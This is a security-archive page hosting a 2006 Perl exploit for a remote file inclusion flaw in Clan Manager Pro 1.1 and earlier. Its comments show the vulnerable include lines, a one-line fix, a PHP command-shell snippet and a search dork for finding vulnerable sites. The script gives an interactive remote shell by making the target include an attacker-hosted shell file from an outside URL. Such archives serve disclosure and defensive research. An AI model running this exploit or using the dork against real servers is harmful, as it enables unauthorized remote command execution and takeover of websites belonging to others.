what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cmpro-1.1.txt

cmpro-1.1.txt
Posted Jun 11, 2006
Authored by Florian Strankowski | Site sx02.coresec.de

Clan Manager Pro 1.1 and prior remote file inclusion exploit.

tags | exploit, remote, file inclusion
SHA-256 | 33a4a11d03588e954bd7f1728e66ad72cc8284ac0936425f2882698d0d9f14bc

cmpro-1.1.txt

Change Mirror Download
Hi,

http://sx02.coresec.de/advisories/149.txt

-- cut here --

#!/usr/bin/perl
############
# Clan Manager Pro (CMPRO) <= 1.1
#
# Homepage: www.cmpro.org
# Affected Version: <= 1.1
# Patched Version: /
# Date: 06.06.2006
#
# Application Risk: High
#
# Vendor notified : 06.06.2006
#
#
# Exploit written : Sx02
# http://sx02.coresec.de
#
# usage:# perl cmpro.pl <host> <command shell url> <cmd variable (e.g.:
cmd)>
# perl cmpro.pl http://localhost/path/to/cmpro.extern/
http://localhost/cmd.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#
#
# DORK: inurl:"cmpro.ext"
#############
#
# Vulnerable code (cmpro_header.inc.php)
#
# INCLUDE($cm_ext_server.'/config/einstellungen.inc.php');
# INCLUDE($sitepath.'cmpro.ext/global.functions.php');
#
# --------------------------------------------------------
#
# $cmd_ext_server and $sitepath were not declared
# before, so they are vulnerable to remote file
# inclusion.
#
# cmpro_header.inc.php?cm_ext_server=CMD
# cmpro_header.inc.php?sitepath=CMD
#
# --------------------------------------------------------
#
# Solution :
#
# declare variables before including them !
#
# --------------------------------------------------------
#
# "Everything should be made as simple as possible, but not simpler"
# 'Albert Einstein'
#
############
use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
print "[shell] \$";
while(<STDIN>) {
$cmd=$_;
chomp($cmd);
if (!$cmd) {last;}
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'cmpro_header.inc.php?cm_ext_server='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;
if ($return =~/Error: HTTP request failed!/ ) {
print "\nInvalid path for phpshell\n";
exit;
} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
print "\nInvalid Command, error.\n\n";
}
if ($return =~ /(.*)/) {
$finreturn = $1;
$finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
last;
} else {
print "[shell] \$";
}
}
} last;

sub head() {
print
"\n============================================================================\r\n";
print " CMPro CMS <= 1.1 Remote Command Execution Exploit\r\n";
print " Vulnerable found and Exploit written by Sx02\r\n";
print
"============================================================================\r\n";
}

sub usage() {
head();
print " Usage: perl cmpro.pl <host> <command-url> <cmd>\r\n\n";
print " <host> - Path to CMPro Directory : http://localhost/path/to/cmpro/
\r\n";
print " <command-url> - PhpShell : http://localhost/cmd.gif \r\n";
print " <cmd> - var name used in phpshell : cmd \r\n\r\n";
exit();
}
-- cut here --
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close